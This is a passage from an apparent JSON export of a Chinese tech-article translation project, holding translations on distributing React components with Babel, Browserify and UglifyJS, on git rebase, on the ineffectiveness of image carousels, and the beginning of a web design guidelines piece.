的简单性，可靠性和可扩展性使其成为数据转发和聚合的理想选择。事实上，Docker 的内置使 Fluentd 成为了任何基于微服务的系统的不二选择。\n\n如果你需要最大未来可扩展性，但现在没有足够的资源来实现，或者想要未来最大限度地减少维护用时，你可以考虑 [Treasure Data](https://www.treasuredata.com/) 的 [Fluentd](http://www.fluentd.org/) 企业支持版。企业版提供 24*7 的安全，监控和维护服务以及框架研发团队的支持。\n\n如果您想要即插即用数据技术栈来外包整个分析系统的管理，请考虑 [Treasure Data](https://www.treasuredata.com/) 全面管理的收集，存储和处理系统。\n\nHappy Logging!\n\n感谢 [Satoshi “Moris” Tagomori,](https://twitter.com/tagomoris)，这篇 post 内容基于他在 LinuxCon Japan 的演讲。\n"
  },
  {
    "path": "TODO/distributing-react-components.md",
    "content": "> * 原文链接 : [Distributing React components](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs)\n* 原文作者 : [Krasimir ](http://krasimirtsonev.com/blog/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [aleen42](http://aleen42.github.io/)\n* 校对者: [Aaaaaashu](https://github.com/Aaaaaashu)、[achilleo](https://github.com/achilleo)\n* 状态 : 完成\n\n在我开源 [react-place](https://github.com/krasimir/react-place) 项目到时候，我注意到那么一个问题。那就是，准备构件发布有些复杂。因此，我决定在此记录该过程，以便日后遇到同样的问题时可查。\n\n在准备构件期间，你会惊奇地发现建立`jsx`文件并不意味着该构件可用于发布，或该构件对于其他开发人员来说是可用的东西。\n\n## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#the-component)构件\n\n[react-place](https://github.com/krasimir/react-place) 是一个提供输入服务的构件。当用户输入一个城市的名字时，该构件会作出预测并提供建议选项给该用户。`onLocationSet`是该构件的一个属性。当用户选择某些建议选项时，它将会被触发。触发后，构件里的一个函数，它将接收一个对象作为参数输入。该对象包含有对一个城市的简短描述以及其地理坐标。总的来说，我们是和一个外部 API （谷歌地图）和一个参与的硬关联（自动完成输入组件）进行通信操作。[这里](http://krasimir.github.io/react-place/example/index.html)有一个例子，它将展示该构件如何工作。\n\n下面，我们来一起看看构件是如何完成？为何完成后，该构件还不能被发布？\n\n时下，有一些概念处于风口浪尖。其中，就有 React 和它的[ JSX 语法](https://facebook.github.io/react/docs/jsx-in-depth.html)。另外，还有新版的 ES6 标准，而所有的这些，都与我们的浏览器息息相关。虽然，我想尽早应用这些新鲜的概念，但我需要一个转译器，用于解决它们兼容性不高的问题。该转译器将需要解析 ES6 标准下的代码并生成对应 ES5 标准下的。[Babel](http://babeljs.io/) 就是一款专门做这样工作的转换编译器，并且它能很好地结合于 React 使用。除了转译器之外，我还需要一个代码包装工具。该工具能解析[输入](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)并生成一个包含应用的文件。在众多包装工具中，[webpack](https://webpack.github.io/) 是我的选择。\n\n## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#the-base)主要开发过程\n\n两周前，我创建了一个 [react-webpack-started](https://github.com/krasimir/react-webpack-starter)。它接收一个 JSX 文件作为输入并用 Babel 生成对应的 ES5 文件。我们有一部本地开发伺服器、测试设定以及一个 linter 插件，然而这是另外一个故事，这里并不详述。（在[这里](http://krasimirtsonev.com/blog/article/a-modern-react-starter-pack-based-on-webpack)有相关更多的信息）。\n\n在半年前，我更喜欢用 NPM 来定义项目的任务建立。下面是我刚开始可以运行的 NPM 脚本：\n\n    // in package.json\n    \"scripts\": {\n      \"dev\": \"./node_modules/.bin/webpack --watch --inline\",\n      \"test\": \"karma start\",\n      \"test:ci\": \"watch 'npm run test' src/\"\n    }\n\n`npm run dev` 该命令将触发 webpack 进行编译并启动设备进行服务。测试是通过 [Karma runner](http://karma-runner.github.io/) 和 Phantomjs 来完成的。而我使用的文件结构则如下所示：\n\n    |\n    +-- example-es6\n    |   +-- build\n    |   |   +-- app.js\n    |   |   +-- app.js.map\n    |   +-- src\n    |   |   +-- index.js\n    |   +-- index.html\n    +-- src\n        +-- vendor\n        |   +-- google.js\n        + -- Location.jsx\n\n我要发布的构件是放在`Location.jsx`里。为了测试它，我创建了一个简单的 app 应用（`example-es6` 文件夹）来导入该文件。\n\n花了一些时间，终于把该构件开发完成。我把更改部分推送到 GitHub 的 [repository](https://github.com/krasimir/react-place) 并错误认为该构件已经可以被分享出去。然而，五分钟后我意识到这构件并不能。那是因为：\n\n*   如果我以 NPM 包发布该构件，我将需要一个入口地址。那么我想，我的 JSX 文件适合作入口地址吗？并不能，因为并不是所有的开发人员都喜欢 JSX。因此，该构件应该开发成非 JSX 版本。\n*   我入口地址的代码是遵循 ES6 标准来书写的，然而并不是所有的开发者都遵循 ES6 标准且在建立过程中使用到转译器。因此，入口地址代码应该是遵循兼容性更高的 ES5 标准。\n*   webpack 的输出确实满足了上面所述的两个要求，然而它有一个问题。那就是该代码包装工具包含了整个 React 库，而我们想包装的只是该组件，不是 React。\n\n综上所述，webpack 在开发过程的确是很有用，然而却并不能生成一个可用于引入或导入的文件。我尝试过使用 webpack 的 [externals](https://webpack.github.io/docs/library-and-externals.html) 选项来解决问题。但是我发现，当我们有全局可用的依赖时，该问题仍然是存在的。\n\n## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#producing-es5-entry-point)建立符合 ES5 标准的入口地址\n\n从前面可以看到，定义一个是新的 NPM 脚本是很重要的。 NPM 甚至[有](https://docs.npmjs.com/misc/scripts)一个`prepublish`入口。它可以在包发布前且在本地执行`npm install`命令时运行。下面是我新添加的定义：\n\n    // package.json\n    \"scripts\": {\n      \"prepublish\": \"./node_modules/.bin/babel ./src --out-dir ./lib --source-maps --presets es2015,react\"\n      ...\n    }\n\n在这里，我们不需要使用 webpack，而只是使用 Babel。它会从`src`文件夹获取所有需要的东西，转化 JSX 文件为纯 JavaScript 调用并把 ES6 标准下的代码转成 ES5标准下的。 因此，文件结构将是：\n\n    |\n    +-- example-es6\n    +-- lib\n    |   +-- vendor\n    |   |   +-- google.js\n    |   |   +-- google.js.map\n    |   +-- Location.js\n    |   +-- Location.js.map\n    +-- src\n        +-- vendor\n        |   +-- google.js\n        + -- Location.jsx\n\n`src`文件夹中的文件会被翻译成普通的 JavaScript 文件并加上所生成的源映射。在这过程，`--presets`选项中的 [`es2015`](https://babeljs.io/docs/plugins/preset-es2015/) 和 [`react`](https://babeljs.io/docs/plugins/preset-react/) 扮演着重要的角色。\n\n理论上，从 ES5 标准下的代码中，我们应该可以通过命令`require('Location.js')`使得构件运作起来。但是，当我打开文件时，我发现这里并没有`module.exports`，而只是发现\n\n    exports.default = Location;\n\n这将意味着我需要通过下面的命令来引入库：\n\n    require('Location').default;\n\n很感谢地说，[babel-plugin-add-module-exports](https://www.npmjs.com/package/babel-plugin-add-module-exports) 解决了该问题。因此，我把 NPM 脚本改成了如下：\n\n    ./node_modules/.bin/babel ./src --out-dir ./lib \n    --source-maps --presets es2015,react \n    --plugins babel-plugin-add-module-exports\n\n## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#generating-browser-bundle)浏览器化\n\n前面部分介绍所生成的是一个可被任何 JavaScript 项目导入或引用的文件。任何一个代码包装工具像 webpack 或 [Browserify](http://browserify.org/) 都会解析所需要的依赖。但我最后考虑的一点是，如果开发人员不使用代码包装工具，那怎么办？简而言之，就是我们需要一个已经生成好的 JavaScript 文件，并直接可以使用 `<script>` 标签引入该文件到我的页面里。假设 React 已经加载到页面里，那么我只需要再把有着自动完成组件的构件引入到页面即可。\n\n为了解决这个，我将会有效地利用了`lib`文件夹下的文件。这就是我之前所提的“浏览器化”。那么，我们来看看该怎么处理：\n\n    ./node_modules/.bin/browserify ./lib/Location.js \n    -o ./build/react-place.js \n    --transform browserify-global-shim \n    --standalone ReactPlace\n\n`-o`选项是用来指定输出文件。`--standalone` 选项是必须的，因为我并没有一个模块系统，所以该构件需要可全局访问。有趣的一点是`--transform browserify-global-shim`选项。这是一个转化加载项，其可用于排除 React 而只导入那个自动完成组件。为了使其工作，我需要像下面一样在`package.js`添加新的条目，：\n\n    // package.json\n    \"browserify-global-shim\": {\n      \"react\": \"React\",\n      \"react-dom\": \"ReactDOM\"\n    }\n\n在此，我声明了一些全局变量的名字。而这些全局变量将会在调用构件里的`require('react')`和`require('react-dom')`时被解析。当我们打开生成的`build/react-place.js`文件，我们将会看到：\n\n    var _react = (window.React);\n    var _reactDom = (window.ReactDOM);\n\n在谈论把构件作为`script>`标签引入时，我想我们应该需要对其进行压缩。当然，在生产环境，我们还应该对`build/react-place.js`文件生成一个压缩版本。[Uglifyjs](https://www.npmjs.com/package/uglify-js) 是一个不错的模块，其可用于压缩 JavaScript 代码。因此，我们只需要在“浏览器化”后调用即可：\n\n    ./node_modules/.bin/uglifyjs ./build/react-place.js \n    --compress --mangle \n    --output ./build/react-place.min.js \n    --source-map ./build/react-place.min.js.map\n\n## [](http://krasimirtsonev.com/blog/article/distributing-react-components-babel-browserify-webpack-uglifyjs#the-result)结果\n\n最后，所生成的脚本文件是一个结合了 Babel， Browserify 和 Uglifyjs三个模块的文件。\n\n    // package.json\n    \"prepublish\": \"\n      ./node_modules/.bin/babel ./src --out-dir ./lib --source-maps --presets es2015,react --plugins babel-plugin-add-module-exports && \n      ./node_modules/.bin/browserify ./lib/Location.js -o ./build/react-place.js --transform browserify-global-shim --standalone ReactPlace && \n      ./node_modules/.bin/uglifyjs ./build/react-place.js --compress --mangle --output ./build/react-place.min.js --source-map ./build/react-place.min.js.map\n    \",\n\n_（注：为了使得脚本可读性更高，我把语句分成了几行。但是，在原来的 [package.json](https://github.com/krasimir/react-place/blob/master/package.json#L25) 文件里，所有的语句都被摆放成一行。）_\n\n最后，项目里的文件夹/文件将如下所示：\n\n    |\n    +-- build\n    |   +-- react-place.js\n    |   +-- react-place.min.js\n    |   +-- react-place.min.js.map\n    +-- example-es6\n    |   +-- build\n    |   |   +-- app.js\n    |   |   +-- app.js.map\n    |   +-- src\n    |   |   +-- index.js\n    |   +-- index.html\n    +-- lib\n    |   +-- vendor\n    |   |   +-- google.js\n    |   |   +-- google.js.map\n    |   +-- Location.js\n    |   +-- Location.js.map\n    +-- src\n        +-- vendor\n        |   +-- google.js\n        + -- Location.jsx\n"
  },
  {
    "path": "TODO/dont-fear-the-rebase.md",
    "content": "> * 原文地址：[Don’t Fear The Rebase](https://hackernoon.com/dont-fear-the-rebase-bca683888dae)\n> * 原文作者：本文已获原作者 [Jared Ready](https://hackernoon.com/@jared.ready) 授权，转载请注明出处。\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dont-fear-the-rebase.md](https://github.com/xitu/gold-miner/blob/master/TODO/dont-fear-the-rebase.md)\n> * 译者：[根号三](https://github.com/sqrthree)\n> * 校对者：[Tina92](https://github.com/Tina92)、[Starrier](https://github.com/Starriers)\n\n# 不要害怕 Rebase\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpet99qa0jj31hc0icwg4.jpg)\n\nGit 的 `rebase` 命令是 Git 用户感到害怕和迷惑的一个常见原因，特别是那些来自可能更集中的版本控制系统的用户。这很正常。Rebase 是一个不可思议又充满魔力的怪兽，一上来不管三七二十一就改变历史。\n\nRebase 有点像指针。它是这样一个令人困惑的结构：每个人都在谈论它，但是你并不清楚为什么会有人使用它，然后突然一切都“啪嗒”一下，整个想法都变得显而易见和难以置信的简单。\n\n在这篇文章中我会迫使你“啪嗒”一下，这样你就可以回到工作中并传播 `git rebase` 的神奇。\n\n### 究竟什么是 Rebase？\n\n> Git Rebase 是一个很简单的工具，用来取出一些在某个地方创建的提交，并假装它们一直是在另一个地方创建的。\n\n**好的，我知道了。可是这意味着什么呢？**\n\n让我们来看一个例子。我们在这个仓库中有两个分支：`master` 和 `feature/foo`。`feature/foo` 是基于 `master` 分离出去的分支，并且在 `feature/foo` 分支上产生了一些提交。`master` 也发生了移动，就像世界不会因为少了你的关注而停滞不前。\n\n![](https://ws1.sinaimg.cn/large/006tKfTcly1fpeujk93g1j318g0rg41j.jpg)\n\n这是目前的状态\n\n我们想将一些更改从 `master` 整合进 `feature/foo` 中，但是我们不想每次执行这个整合时都处理一次令人讨厌的合并提交。\n\n**Rebase 就是一个让你有能力整合发生在源分支上的更改而不需要执行合并（merge）从而不会产生合并提交的工具。**\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fpeups3ff0j31jk0g9acl.jpg)\n\n这是 rebase 之后的情况。（fast-forward 版本）\n\n*D* 和 *F* 两个提交已经被**重新放在**了 `master` 的顶部，即当前指向的 *G* 提交。你可能会注意到这两个提交实际上已经被重命名为了 *D`* 和 *F`*，并且提交的 SHA-1 值也不一样。这是为什么呢？\n\n#### Git 中的提交不可变更\n\n一个提交具有一些与之相关的属性：一个父提交、一个时间戳、提交时仓库的快照（提交不仅仅是变更集）。这些值是 Git 在计算标识一个提交的 SHA-1 时所用到的。\n\n由于提交是不可变的，并且一个 SHA-1 应该唯一标识一个提交，因此 Git 需要创建一个新的提交来包含原始提交中相同的仓库快照，但是每个提交都有一个**不同的父提交和时间戳**。\n\n这导致新的提交看起来与原始提交相同，但是具有不同的 SHA-1。\n\n---\n\n### 找出提交\n\n当我们从 `feature/foo` 分支上运行 `git rebase master` 时，Git 怎么知道哪些提交需要移动呢？\n\n让我们先看看每个分支上的提交的文氏图（Venn diagram）。\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fpevtxsiwvj318g0ufads.jpg)\n\n从上图中我们可以看到每一个分支都有 *A*、*B* 和 *C* 这几个提交。`master` 分支还拥有 *E* 和 *G* 提交但是 `feature/foo` 分支没有。`feature/foo` 拥有 *F* 和 *D* 提交但是 `master` 分支没有。\n\nGit 会做一个减法：`{commits on feature/foo} — {commits on master}`，来找出正确的提交。这个结果就是 *D* 和 *F*。\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fpevx9tq3rj318g0v577x.jpg)\n\n#### 我们能证明这一点吗？\n\n当然，一个简单方式是使用 `git log` 来看我们从这组减法中得到的确切提交。\n\n`git log master..feature/foo` **会** 向我们展示 `bc1f36b` 和 `640e713` 提交。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpew0jd7j1j318g045wfn.jpg)\n\n如果你在 .. 后省略了一个分支，那么会默认为是当前分支。\n\n看起来不错。让我们来看看更广泛的视角以确保我不是在糊弄。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpew54td7vj318g07ajty.jpg)\n\n这些 sha-1 看起来很熟悉。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpew5prdn4j318g0790v3.jpg)\n\n这里并没有 76f5fd1 和 22033eb，因为我们是从 master 分支的 7559a0b 提交开始分离的。\n\n---\n\n如果我们现在执行一个 `rebase` 到 `master`，我们会立即看到 `76f5fd1` 和 `22033eb` 出现在我们在 `feature/foo` 分支上创建出的提交的前面。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpewljxlmej318g05y0u9.jpg)\n\nGit 正在像我们期望中的那样重新应用提交。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpewouxdggj318g0a0dj0.jpg)\n\n看起来熟悉吗？\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fpewpe9c16j318g0d0jt3.jpg)\n\n我们之前见过这个了。\n\n我们现在有一个很好的线性历史。你应该能够想到在此刻 fast-forward 的合并会如何发生。\n\n> rebase 策略还有一个已知的额外好处，就是如果你的 CI 管道（CI pipeline）在功能分支上通过了，那么在合并后的主分支上它也会通过。如果是一个非线性的合并策略，你就不能保证这一点。\n\n---\n\n### 使用强制手段\n\n如果 `feature/foo` 分支已经被推送过（push），并且在 rebase 之后尝试进行另一个推送，Git 会很委婉地拒绝推送。这是为什么呢？\n\n**Git 会尽其所能来防止意外覆盖历史，这是一件好事。**\n\n我们来看一下 Git 所认为的 `feature/foo` 分支在远程仓库中是什么样的？\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fpexhw94i1j31080oi76p.jpg)\n\n现在我们来看一下我们告诉 Git 要做的事情。\n\n![](https://ws4.sinaimg.cn/large/006tKfTcly1fpexk964q3j318g0fl40s.jpg)\n\n从 Git 的角度来看，提交 *D* 和 *F* 即将丢弃。Git 会给你这样一行友好的信息：`Updates were rejected because the tip of your current branch is behind`。\n\n你或许会说，“但是我可以在你这个很棒的图片中清晰地看到，`feature/foo` 分支比之前更进一步了啊。” 这是一个很好的观察结果，但是 Git 只会看到远程仓库中的 `feature/foo` 包含 `bc1f36b` 和 `640e713`，但是你本地的 `feature/foo` 不包含这些提交。因此为了不丢失这些提交，Git 会委婉地拒绝一个正常的 `git push`，并要求你执行 `git push --force`。\n\n---\n\n如果你从这篇文章中带走一件东西，那么请记住，rebase 只是简单的查找出在某个分支上创建的提交，然后使用相同的内容但是新的父提交或基础提交（*base* commit）来创建新的提交。\n\n---\n\n如果你喜欢我的文章，请为我点赞。\n\n关注 [Hackernoon](https://medium.com/@hackernoon) 和 [Jared Ready](https://medium.com/@jared.ready) 来获取更多高质量的软件工程相关的内容吧。\n\n[![](https://cdn-images-1.medium.com/max/1600/1*PZjwR1Nbluff5IMI6Y1T6g@2x.png)](https://goo.gl/w4Pbea)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/dont-use-automatic-image-sliders-or-carousels.md",
    "content": "\n  > * 原文地址：[Don’t Use Automatic Image Sliders or Carousels](https://conversionxl.com/dont-use-automatic-image-sliders-or-carousels/)\n  > * 原文作者：[Peep Laja](https://conversionxl.com/author/peep-laja/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dont-use-automatic-image-sliders-or-carousels.md](https://github.com/xitu/gold-miner/blob/master/TODO/dont-use-automatic-image-sliders-or-carousels.md)\n  > * 译者：[shawnchenxmu](https://github.com/shawnchenxmu)\n  > * 校对者：[laiyun90](https://github.com/laiyun90) [thisisandy](https://github.com/thisisandy)\n\n# 别再使用图片轮播了\n  \n  [![Don't Use Automatic Image Sliders or Carousels](https://conversionxl.com/wp-content/uploads/2012/09/slider.jpg)](https://conversionxl.com/dont-use-automatic-image-sliders-or-carousels/)\n\n图片轮播，或者旋转木马（也叫做「rotating offers」），我相信你见过没有几百次至少也有几十次了吧。或许你甚至还对他们有些好感，但事实上，它们可并不是什么好东西。\n\n既然它们效果并不好，为什么人们还要用呢？两个原因：\n\n- 有人觉得这很酷炫。但是酷炫并不能带来收益呀 —— 至少不是通过这种方式。\n- 不同的部门和管理者都想在主页上显示他们的内容。委员会所做的设计从来不会被拒绝。\n\n**打个广告：如果你想成为一名顶尖的数据营销者，借此助力事业腾飞，请戳 [CXL Institute](https://conversionxl.com/institute/)。**\n\n## 来用事实说话\n\n并不只是我一个人持这样的观点，那些做过许多 [转换最优化](https://conversionxl.com/conversion-optimization-guide/) 测试的专家们也都这么说：\n\n> 我们做过许多图片轮播方面的测试，最终发现，用这种方式来展示主页内容真的很糟糕。\n\n[Chris Goward, Wider Funnel](http://www.widerfunnel.com/conversion-rate-optimization/rotating-offers-the-scourge-of-home-page-design)\n\n> 图片轮播简直就是个恶魔，它应该立即消失。\n\n[Tim Ash, Site Tuners](http://www.clickz.com/clickz/column/2164452/rotating-banners)\n\nJakob Nielsen（没错，可用性领域的大师） [在测试中证实了这一点](http://www.nngroup.com/articles/auto-forwarding/) 。他们针对可用性进行了一项研究。在研究中，他们抛给用户以下问题：**『西门子的洗衣机有哪些优惠？』** 答案就在最明显的轮播上。但用户却视而不见 —— 广告盲点彻底地影响了用户们。Nielsen 的结论是：人们会忽略轮播图。\n\n圣母大学也做过 [测试](https://vwo.com/blog/image-slider-alternatives/) 。只有图片轮播中的第一张图片能得到一些点击量（1%！），其他的根本就没有。1% 的点击占用了页面一半（或者更多）的位置？\n\n\n产品设计大师 Luke Wroblweski 总结道：\n\n[![](https://ws3.sinaimg.cn/large/006tNc79ly1fidkhz15ekj30t60hyq5f.jpg)](https://twitter.com/lukew/status/293857685546360834)\n\n在 StackExchange UX 上有个关于自动图片轮播的 [讨论](https://ux.stackexchange.com/questions/10312/are-carousels-effective)\n\n一些参与测试的人们是这么说的：\n \n> 我所管理的那些测试几乎都证明了一点：通过图片轮播展示的内容终将被用户无视。用户和轮播图几乎没有交互，并且许多评论说他们看起来像广告，横幅盲点的概念在这里发挥得淋漓尽致，我算是见识到了。\n> \n> 但就空间利用和内容推广方面而言，在这一片或使用户分心的位置上，却可以放置大量互相之间毫无关联性的信息。\n\n[Adam Fellows](https://ux.stackexchange.com/users/5208/adam-fellowes)\n\n这儿还有一位：\n\n> 图片轮播在这一点上倒是挺高效的：它能告知市场营销的高管们，他们的最新想法已经出现在了主页上了。\n> \n> 而对于用户来说，这几乎就是无用的，还常常被无视，因为它们看起来像广告。因此，这是一项在主页上获取无用信息的好技术（见第一句）。\n> \n> 总而言之，你要么使用它来放一些让用户无视的内容，要么，你就永远别再使用它。\n> \n> 顺带说一句，这可不是我的一己之见，而是基于观察了几千个用户测试之后得出的结论。\n\n[Lee Duddell](https://ux.stackexchange.com/users/7552/lee-duddell)\n\n最后：\n\n> 在我做的所有测试中，主页的图片轮播完全是无效的。其一，除了初始视图之外，其他视图与用户的交互都大大减少。其二，图片轮播中的信息与用户正在寻找的信息相匹配的概率极其渺小。以至于在这种情况下，图片轮播框作为一个大横幅却往往被忽略。在一次又一次的测试之后发现，当用户在浏览一个带有大型图片轮播框的网站时，总是直接滑动鼠标跳过轮播，进而寻找自己想要的内容。\n\n[Craig Kistler](https://ux.stackexchange.com/users/7548/craig-kistler)\n\n它**为什么**不管用呢？有两个主要原因：\n\n## 原因 #1：人眼对动态事物的反应（使得重要信息被错过）\n\n我们的大脑可以分为三个层次，其中最原始的那部分甚至与爬行动物的没什么区别。这部分关心的是生存问题。而视野上的突变极有可能关系到生死，所以人们对运动的东西常常很敏感 —— 包括图片轮播框中不断播放的图片。\n\n[![eye](https://conversionxl.com/wp-content/uploads/2012/09/eye.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/eye.jpg)\n\n**可这是一件好事呀！不是吗？**\n\n除非你的网站上只有一个图片轮播框（可别这么做！），不然这样并不好。这意味着它将把注意力从其他真正重要的内容上拿走。比如你的 [价值主张](https://conversionxl.com/value-proposition-examples-how-to-create/) 、网站内容以及你的产品。\n\n## 原因 #2：消息太多意味着无消息\n\n由于旗帜盲点，大多数人甚至都不会去关注那些图片轮播框，就连那些不能真正得到消息的人也是如此。\n\n\n访客登录你的网站，在轮播框中看到一条消息，正要开始阅读：『这个秋天你要……』**咻!** 不见啦。这些滑块轮转得太快了，用户根本来不及读完一条消息（即使他们真的想）。\n\n专注即高效。\n\n\n## 原因 #3：旗帜盲点\n\n它们看起来像一幅鲜明的旗帜，可用户就是视而不见。\n\n## 用户需掌握控制权\n\n图片轮播常常有着 [糟糕的可用性](http://uxmovement.com/navigation/big-usability-mistakes-designers-make-on-carousels/) —— 它们移动得太快了，而它们的导航图标又太小了（如果有的话！），并且常常不听话地自己动起来了，即使用户想要自己手动浏览其内容。UI 设计的一条重要准则就是 [用户需掌握控制权](http://bokardo.com/principles-of-user-interface-design/)。\n\n如今许多电商网站上都使用了图片轮播技术 —— 而且我认为他们并不是因为做过测试而选择了这一技术，不过是群体心理作祟，人云亦云罢了。\n\n这是 [Forever21](http://www.forever21.com) 的主页，被诟病的是 —— 每 4 秒钟就要在 3 张图片之间切换一次：\n\n[![21](https://conversionxl.com/wp-content/uploads/2012/09/21-1.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/21-1.jpg)\n\n\n如果用户在第一眼看到的不是他们所喜欢的（相关的），那怎么办？又或者，如果这三样东西用户一个都不喜欢呢？这明显不利于提高你的 [顾客终身价值](https://conversionxl.com/customer-lifetime-value/) 。\n\n出于用户至上的考虑，一旦鼠标移动到图片轮播框的箭头上时，你应该让它立即停止自动播放。不仅如此，当你离开一段时间后再次回到网站时，页面中显示的要正好是你想看到的内容。\n\n我建议你还是用一个静态的单一页面把它替换掉吧。\n\n这是来自 [J.J. Buckley](http://www.jjbuckley.com/) 的一个静态页面 —— 专注于单一元素使得信息得到了传达：\n\n\n[![jj](https://conversionxl.com/wp-content/uploads/2012/09/jj.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/jj.jpg)\n\n一些之前使用过图片轮播的用户，如 Adobe，Gap 以及 Hilton 也都纷纷转而使用静态的消息页面了。\n\n[Adobe](https://www.adobe.com/) :\n\n[![adobes](https://conversionxl.com/wp-content/uploads/2012/09/adobes.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/adobes.jpg)\n\n[Gap](http://www.gap.com) :\n\n[![gap](https://conversionxl.com/wp-content/uploads/2012/09/gap.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/gap.jpg)\n\n请注意，尽管 [Hilton](http://www.hilton.com)  的页面中有一个图像滑块，但它并不会自动轮播。如果你想跳转，那就点击它。\n\n[![hilton](https://conversionxl.com/wp-content/uploads/2012/09/hilton.jpg)](https://conversionxl.com/wp-content/uploads/2012/09/hilton.jpg)\n\n## **结论**\n\n如果可以，请尽量避免使用它。追随效益，而不是去随大流（它早晚会过时）。\n\n那么你将用什么来代替它呢？或许你可以像这样使用静态图片：\n\n[![](https://ws2.sinaimg.cn/large/006tNc79ly1fidkitq5yjj30te0j0n05.jpg)](https://twitter.com/erunyon/status/293868617886486529)\n\nBrad Frost 承认『**尽管图片轮播并非那么高效，但我总觉得它不会马上消失**』并写下了这篇如何 [改善图片轮播](http://bradfrostweb.com/blog/post/carousels/) 的文章。\n\n作为网站站长，或者是用户，你对图片轮播这一技术又有什么看法呢？\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n\n\n\n"
  },
  {
    "path": "TODO/dos-and-don-ts-of-web-design.md",
    "content": "  > * 原文地址：[Do’s and Don’ts of Web Design](https://uxplanet.org/dos-and-don-ts-of-web-design-8c9d6a5de7c6)\n  > * 原文作者：[Nick Babich](https://uxplanet.org/@101)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dos-and-don-ts-of-web-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/dos-and-don-ts-of-web-design.md)\n  > * 译者：[吃土小2叉](https://github.com/xunge0613)\n  > * 校对者：[michaelia](https://github.com/michaelia)、[Hyde Song](https://github.com/HydeSong)\n\n  ![](https://cdn-images-1.medium.com/max/1600/1*w32GqveebJfDRnxcScB7lw.png)\n\n# Web 设计准则\n\n## 作者： [Nick Babich](http://babich.biz/)\n\nWeb 设计是一个棘手的主题。在创建一个网站的过程中需要考虑许多事项。为了简化这个任务，我准备了一份每个设计师都需要考虑的 Web 设计准则清单。好消息是这些准则都很简单。\n\n让我们开始吧！\n\n### 应该考虑的事项\n\n#### 1. 为不同设备提供类似的用户体验\n\n用户会通过不同类型的设备访问您的网站：例如台式机、笔记本、平板、手机、音乐播放器，甚至是手表。用户体验设计很重要的一部分是确保无论用户通过何种设备浏览您的网站，网站都应该提供类似的体验。\n\n![](https://cdn-images-1.medium.com/max/1600/0*-VCHnwp7spMwG4Hp.png)\n\n如果用户在手机上浏览您的网站，要确保他们够轻松找到所有需要的东西，就好像他们在家里的台式机上浏览您的网站一样。\n\n#### 2. 设计简明易用的导航\n\n导航是网站可用性的基础。请记住，**如果用户在你的网站里迷路了，那么无论网站多么酷炫都只是徒劳。**因此，你的网站导航应该是这样的：\n\n- **简单**（网站结构应该尽可能简单）\n- **明确**（导航项对用户来说都应该是不言而喻的）\n- **一致**（首页的导航应该与网站每个页面上的导航保持一致）\n\n在设计导航时，应该考虑让用户以最少的点击次数来抵达目标页面。与此同时，要让用户能够轻松地找到接下来要访问的页面。\n\n\n#### 3. 改变已访问链接的颜色\n\n链接是导航的关键要素。如果已访问的链接颜色没有变化，那么用户可能会无意中重复访问相同的页面。\n\n> 